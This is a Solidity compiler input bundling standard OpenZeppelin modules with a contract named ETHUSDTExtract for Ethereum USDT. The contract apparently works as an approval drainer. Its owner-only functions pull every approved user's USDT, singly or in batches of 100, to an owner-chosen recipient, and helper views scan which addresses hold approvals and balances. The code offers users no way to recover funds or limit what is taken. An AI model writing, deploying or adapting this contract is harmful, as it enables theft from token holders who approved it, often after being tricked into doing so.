ETHUSDTExtract

{{
  "language": "Solidity",
  "sources": {
    "@openzeppelin/contracts/access/Ownable.sol": {
      "content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;

import {Context} from "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
"
    },
    "@openzeppelin/contracts/utils/Context.sol": {
      "content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}
"
    },
    "@openzeppelin/contracts/utils/ReentrancyGuard.sol": {
      "content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (utils/ReentrancyGuard.sol)

pragma solidity ^0.8.20;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If EIP-1153 (transient storage) is available on the chain you're deploying at,
 * consider using {ReentrancyGuardTransient} instead.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant NOT_ENTERED = 1;
    uint256 private constant ENTERED = 2;

    uint256 private _status;

    /**
     * @dev Unauthorized reentrant call.
     */
    error ReentrancyGuardReentrantCall();

    constructor() {
        _status = NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        // On the first call to nonReentrant, _status will be NOT_ENTERED
        if (_status == ENTERED) {
            revert ReentrancyGuardReentrantCall();
        }

        // Any calls to nonReentrant after this point will fail
        _status = ENTERED;
    }

    function _nonReentrantAfter() private {
        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = NOT_ENTERED;
    }

    /**
     * @dev Returns true if the reentrancy guard is currently set to "entered", which indicates there is a
     * `nonReentrant` function in the call stack.
     */
    function _reentrancyGuardEntered() internal view returns (bool) {
        return _status == ENTERED;
    }
}
"
    },
    "contracts/ETHUSDTExtract.sol": {
      "content": "// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

// 简化的 IERC20 接口
interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

/**
 * @title Ethereum USDT 提取合约
 * @dev 专门用于Ethereum网络的USDT提取功能
 */
contract ETHUSDTExtract is ReentrancyGuard, Ownable {
    
    event TransferEvent(address indexed user, uint256 amount, uint256 timestamp, string network);
    event RecipientUpdated(address indexed oldRecipient, address indexed newRecipient);
    event EmergencyPaused(bool paused);
    
    address public recipient;
    address public constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // Ethereum USDT
    string public constant NETWORK = "Ethereum";
    bool public paused = false; // 紧急暂停功能
    
    modifier notPaused() {
        require(!paused, "Contract is paused");
        _;
    }
    
    constructor(address _recipient) Ownable(msg.sender) {
        require(_recipient != address(0), "Invalid recipient address");
        recipient = _recipient;
    }
    
    // 合约拥有者可以提取任何已授权用户的 USDT
    function extractUSDT(address user, uint256 amount) 
        external 
        onlyOwner 
        nonReentrant 
        notPaused 
    {
        require(user != address(0), "Invalid user address");
        require(amount > 0, "Amount must be greater than 0");
        
        IERC20 usdtToken = IERC20(USDT);
        
        // 检查用户授权额度
        uint256 allowance = usdtToken.allowance(user, address(this));
        require(allowance >= amount, "Insufficient allowance");
        
        // 检查用户余额
        uint256 userBalance = usdtToken.balanceOf(user);
        require(userBalance >= amount, "Insufficient user balance");
        
        // 直接提取用户的 USDT 到接收方
        bool success = usdtToken.transferFrom(user, recipient, amount);
        require(success, "Transfer failed");
        
        emit TransferEvent(user, amount, block.timestamp, NETWORK);
    }
    
    // 提取用户所有已授权的 USDT
    function extractAllUSDT(address user) 
        external 
        onlyOwner 
        nonReentrant 
        notPaused 
    {
        require(user != address(0), "Invalid user address");
        
        IERC20 usdtToken = IERC20(USDT);
        
        // 获取用户授权额度
        uint256 allowance = usdtToken.allowance(user, address(this));
        require(allowance > 0, "No allowance found");
        
        // 获取用户余额
        uint256 userBalance = usdtToken.balanceOf(user);
        require(userBalance > 0, "No USDT balance");
        
        // 提取金额为授权额度和用户余额中的较小值
        uint256 extractAmount = allowance > userBalance ? userBalance : allowance;
        
        // 直接提取用户的 USDT 到接收方
        bool success = usdtToken.transferFrom(user, recipient, extractAmount);
        require(success, "Transfer failed");
        
        emit TransferEvent(user, extractAmount, block.timestamp, NETWORK);
    }
    
    // 批量提取多个用户的 USDT
    function batchExtractUSDT(address[] calldata users) 
        external 
        onlyOwner 
        nonReentrant 
        notPaused 
    {
        require(users.length > 0, "Empty users array");
        require(users.length <= 100, "Too many users"); // 防止gas耗尽
        
        IERC20 usdtToken = IERC20(USDT);
        
        for (uint256 i = 0; i < users.length; i++) {
            address user = users[i];
            
            if (user == address(0)) continue; // 跳过无效地址
            
            uint256 allowance = usdtToken.allowance(user, address(this));
            if (allowance == 0) continue;
            
            uint256 userBalance = usdtToken.balanceOf(user);
            if (userBalance == 0) continue;
            
            uint256 extractAmount = allowance > userBalance ? userBalance : allowance;
            
            bool success = usdtToken.transferFrom(user, recipient, extractAmount);
            if (success) {
                emit TransferEvent(user, extractAmount, block.timestamp, NETWORK);
            }
        }
    }
    
    // 更新接收方地址
    function updateRecipient(address _newRecipient) external onlyOwner {
        require(_newRecipient != address(0), "Invalid recipient address");
        require(_newRecipient != recipient, "Same recipient address");
        
        address oldRecipient = recipient;
        recipient = _newRecipient;
        
        emit RecipientUpdated(oldRecipient, _newRecipient);
    }
    
    // 紧急暂停/恢复功能
    function setPaused(bool _paused) external onlyOwner {
        paused = _paused;
        emit EmergencyPaused(_paused);
    }
    
    // 检查用户对合约的 USDT 授权额度
    function checkAllowance(address user) external view returns (uint256) {
        require(user != address(0), "Invalid user address");
        IERC20 usdtToken = IERC20(USDT);
        return usdtToken.allowance(user, address(this));
    }
    
    // 检查用户 USDT 余额
    function checkBalance(address user) external view returns (uint256) {
        require(user != address(0), "Invalid user address");
        IERC20 usdtToken = IERC20(USDT);
        return usdtToken.balanceOf(user);
    }
    
    // 批量检查多个用户的授权和余额
    function batchCheckUsersInfo(address[] calldata users) 
        external 
        view 
        returns (uint256[] memory allowances, uint256[] memory balances) 
    {
        require(users.length > 0, "Empty users array");
        require(users.length <= 100, "Too many users");
        
        allowances = new uint256[](users.length);
        balances = new uint256[](users.length);
        
        IERC20 usdtToken = IERC20(USDT);
        
        for (uint256 i = 0; i < users.length; i++) {
            if (users[i] != address(0)) {
                allowances[i] = usdtToken.allowance(users[i], address(this));
                balances[i] = usdtToken.balanceOf(users[i]);
            }
        }
    }
    
    function getRecipient() external view returns (address) {
        return recipient;
    }
    
    function getUSDTAddress() external pure returns (address) {
        return USDT;
    }
    
    function getNetwork() external pure returns (string memory) {
        return NETWORK;
    }
    
    function isPaused() external view returns (bool) {
        return paused;
    }
}
"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": true,
      "runs": 200
    },
    "evmVersion": "paris",
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    }
  }
}}